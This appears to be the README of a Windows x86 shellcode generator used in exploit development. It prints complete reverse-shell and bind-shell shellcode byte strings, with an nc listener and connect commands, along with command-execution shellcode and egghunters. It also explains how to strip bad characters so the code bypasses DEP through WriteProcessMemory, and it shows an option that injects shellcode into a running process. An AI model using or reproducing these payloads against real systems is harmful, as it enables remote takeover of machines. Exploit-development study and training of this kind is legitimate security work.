$ python3 win_x86_shellcoder.py -h
usage: win_x86_shellcoder.py [-h] [-b BADCHARS] [-r] [-w] [-e {process,thread,none}] {reverse,bind,exec,egghunter,loadfile} ...
Windows x86 Shellcode Generator
positional arguments:
{reverse,bind,exec,egghunter,loadfile}
Shellcode mode
reverse Generate reverse shell shellcode
bind Generate bind shell shellcode
exec Generate execute command shellcode
egghunter Generate egghunter shellcode
loadfile Load shellcode from file
options:
-h, --help show this help message and exit
-b BADCHARS, --badchars BADCHARS
Characters to avoid
-r, --run_shellcode Inject shellcode into a current Python process
-w, --use_windbg Insert int3 for debugger into shellcode
-e {process,thread,none}, --exit_func {process,thread,none}
Function called to terminate shellcode
nc -nlvp 443
$ python3 win_x86_shellcoder.py -b '\x00\x08\x09\x0A\x0B\x0D\x20\x23\x25\x26\x2E\x2F\x3D\x3F\x5C' reverse -i 192.168.1.120 -p 443
# shellcode size: 0x15f (351)
shellcode = b'\x89\xe5\x81\xc4\xf0\xf9\xff\xff\xeb\x06^\x89u\x04\xebR\xe8\xf5\xff\xff\xff`1\xc9d\x8bq0\x8bv\x0c\x8bv\x1cVF\x8b^\x07N\x0f\xb6F\x1e\x89E\xf8\x8bC<\x8b|\x03x\x01\xdf\x8bO\x18O\x8bG!G\x01\xd8\x89E\xfc\xe3\x1dI\x8bE\xfc\x8b4\x88\x01\xde1\xc0\x8bU\xf8\xfc\xac\x84\xc0t\x0e\xc1\xca\x0e\x01\xc2\xeb\xf4\xeb+^\x8b6\xeb\xb9;T$(u\xd6\x8bW$\x01\xdaf\x8b\x0cJ\x8bW\x1c\x01\xda\x8b\x04\x8a\x01\xd8L\x89D$!D^aYZQ\xff\xe0\xb8\xb4\xb3\xff\xfe\xf7\xd8P\xb8\xcd\xcd\xd1\xbb\xf7\xd8PhWS2_Th\xf9\x1d\x7f\xc3\xffU\x04\x89\xe01\xc9f\xb9\x90\x05)\xc8P1\xc0f\xb8\x02\x02Ph\x1e\x9a\x0c0\xffU\x041\xc0PPP\xb0\x06P,\x05P@Ph\xff\x9aH\x1a\xffU\x04\x89\xc61\xc0PPh\xc0\xa8\x01xf\xb8\x01\xbb\xc1\xe0\x10f\x83\xc0\x02PT_1\xc0PPPP\x04\x10PWVh2\xa6\xc3\x1a\xffU\x04VVV1\xc0H\x8dH\x0e@P\xe2\xfd\xb0DPT_f\xc7G,\x01\x01\xb8\x9b\x87\x9a\xff\xf7\xd8P\xb8\x9d\x92\x9b\xd1\xf7\xd8P\x89\xe3\x89\xe01\xc9f\xb9\x90\x03)\xc8PW1\xc0PPP@PHPPSPh\x98\xb1\x89\xef\xffU\x041\xc9Qj\xffh\xc2Y\xfc\xe6\xffU\x04'
$ python3 win_x86_shellcoder.py -b '\x00\x08\x09\x0A\x0B\x0D\x20\x23\x25\x26\x2E\x2F\x3D\x3F\x5C' bind -p 54321
# shellcode size: 0x170 (368)
shellcode = b'\x89\xe5\x81\xc4\xf0\xf9\xff\xff\xeb\x06^\x89u\x04\xebR\xe8\xf5\xff\xff\xff`1\xc9d\x8bq0\x8bv\x0c\x8bv\x1cVF\x8b^\x07N\x0f\xb6F\x1e\x89E\xf8\x8bC<\x8b|\x03x\x01\xdf\x8bO\x18O\x8bG!G\x01\xd8\x89E\xfc\xe3\x1dI\x8bE\xfc\x8b4\x88\x01\xde1\xc0\x8bU\xf8\xfc\xac\x84\xc0t\x0e\xc1\xca)\x01\xc2\xeb\xf4\xeb+^\x8b6\xeb\xb9;T$(u\xd6\x8bW$\x01\xdaf\x8b\x0cJ\x8bW\x1c\x01\xda\x8b\x04\x8a\x01\xd8L\x89D$!D^aYZQ\xff\xe0\xb8\xb4\xb3\xff\xfe\xf7\xd8P\xb8\xcd\xcd\xd1\xbb\xf7\xd8PhWS2_Th\xca\xcc~E\xffU\x04\x89\xe01\xc9f\xb9\x90\x05)\xc8P1\xc0f\xb8\x02\x02Ph\xb8\xe0i\xa1\xffU\x041\xc0PPP\xb0\x06P,\x05P@Ph\xa9\x1f\xbe\xc0\xffU\x04\x89\xc61\xc0PPPf\xb8\xd41\xc1\xe0\x10\x04\x02PT_1\xc0\x04\x10PWVh\xa5L\x1a\x97\xffU\x041\xc0PVh\xd4f\xfd\xc5\xffU\x041\xc0PPVh\xda\xa4!k\xffU\x04\x89\xc6VVV1\xc0H\x8dH\x0e@P\xe2\xfd\xb0DPT_f\xc7G,\x01\x01\xb8\x9b\x87\x9a\xff\xf7\xd8P\xb8\x9d\x92\x9b\xd1\xf7\xd8P\x89\xe3\x89\xe01\xc9f\xb9\x90\x03)\xc8PW1\xc0PPP@PHPPSPh<\xc6ry\xffU\x041\xc9Qj\xffh\xc6\xbaHp\xffU\x04'
nc -nv 192.168.1.121 54321
$ python3 win_x86_shellcoder.py -b '\x00\x08\x09\x0A\x0B\x0D\x20\x23\x25\x26\x2E\x2F\x3D\x3F\x5C' exec -c 'calc'
# shellcode size: 0xba (186)
shellcode = b'\x89\xe5\x81\xc4\xf0\xf9\xff\xff\xeb\x06^\x89u\x04\xebR\xe8\xf5\xff\xff\xff`1\xc9d\x8bq0\x8bv\x0c\x8bv\x1cVF\x8b^\x07N\x0f\xb6F\x1e\x89E\xf8\x8bC<\x8b|\x03x\x01\xdf\x8bO\x18O\x8bG!G\x01\xd8\x89E\xfc\xe3\x1dI\x8bE\xfc\x8b4\x88\x01\xde1\xc0\x8bU\xf8\xfc\xac\x84\xc0t\x0e\xc1\xca\x03\x01\xc2\xeb\xf4\xeb+^\x8b6\xeb\xb9;T$(u\xd6\x8bW$\x01\xdaf\x8b\x0cJ\x8bW\x1c\x01\xda\x8b\x04\x8a\x01\xd8L\x89D$!D^aYZQ\xff\xe0\xb8\x01\x02\x02\x025\x01\x03\x03\x03Phcalc\x89\xe11\xd2RQhq\x90H\xaa\xffU\x041\xc9Qj\xffh\x97\xaae}\xffU\x04'
$ python3 win_x86_shellcoder.py -b '\x00' egghunter ntaccess -t w00tw00t
# shellcode size: 0x24 (36)
shellcode = b'f\x81\xca\xff\x0fBR\xb8:\xfe\xff\xff\xf7\xd8\xcd.<\x05Zt\xeb\xb8w00t\x89\xd7\xafu\xe6\xafu\xe3\xff\xe7'
$ python3 win_x86_shellcoder.py -b '\x00' egghunter seh -t w00tw00t
# shellcode size: 0x45 (69)
shellcode = b'\xeb*Y\xb8w00tQj\xff1\xdbd\x89#\x83\xe9\x04\x83\xc3\x04d\x89\x0bj\x02Y\x89\xdf\xf3\xafu\x07\xff\xe7f\x81\xcb\xff\x0fC\xeb\xed\xe8\xd1\xff\xff\xffj\x0cY\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06X\x83\xc4\x10P1\xc0\xc3'
This tool was created to facilitate developing shellcodes that do not contain bad characters and do not require decoding to bypass DEP with WriteProcessMemory.
Suppose VirtualAlloc or VirtualProtect cannot be used and WriteProcessMemory must be used. In that case, encoders that perform dynamic decoding such as shikata_ga_nai will likely not work because the address to which WriteProcessMemory writes the shellcode will remain not writable, making it impossible to write dynamically decoded shellcode.
One solution to this problem is to develop a shellcode that does not contain bad characters and does not require decoding.
-b
is an option to specify bad characters. The specified bad characters are automatically removed from function name hashes and some instructions in the shellcode. If any remaining bad characters cannot be removed, the output will indicate which instructions contain bad characters as [x]
.
$ python3 win_x86_shellcoder.py -b '\x00\x08\x09\x0A\x0B\x0C\x0D\x20\x23\x25\x26\x2B\x2E\x2F\x3D\x3F\x5C' reverse -i 192.168.1.120 -p 443
...
# bad chars were found in the shellcode
...
[ ] ebf4 : jmp 0x58
[x] eb2b : jmp 0x91
[ ] 5e : pop esi
[ ] 8b36 : mov esi, dword ptr [esi]
[ ] ebb9 : jmp 0x24
[ ] 3b542428 : cmp edx, dword ptr [esp + 0x28]
[ ] 75d6 : jne 0x47
[ ] 8b5724 : mov edx, dword ptr [edi + 0x24]
[ ] 01da : add edx, ebx
[x] 668b0c4a : mov cx, word ptr [edx + ecx*2]
[ ] 8b571c : mov edx, dword ptr [edi + 0x1c]
...
We can manually remove the remaining bad characters by replacing the detected instruction with another instruction. For example, 0x0C and 0x2B can be removed by replacing the instructions in find_and_call.py as follows.
...
jmp compute_hash_again // Next iteration
find_and_call_hop:
jmp find_and_call_end
nop // * REMOVE 0x2B *
nop // * REMOVE 0x2B *
get_next_module:
pop esi // Restore InInitOrder
mov esi, [esi] // ESI = InInitOrder[X].flink (next)
jmp next_module
find_function_compare:
cmp edx, [esp+0x28] // Compare the computed hash with the requested hash
jnz find_function_loop // If it doesn't match go back to find_function_loop
mov edx, [edi+0x24] // AddressOfNameOrdinals RVA
add edx, ebx // AddressOfNameOrdinals VMA
//; mov cx, [edx+2*ecx] // Extrapolate the function's ordinal
mov ax, [edx+2*ecx] // * REMOVE 0x0C *
mov cx, ax // * REMOVE 0x0C *
mov edx, [edi+0x1C] // AddressOfFunctions RVA
...
-r
, --run_shellcode
python3 win_x86_shellcoder.py -r reverse -i 192.168.1.120 -p 443
-w
, --use_windbg
python3 win_x86_shellcoder.py -r -w reverse -i 192.168.1.120 -p 443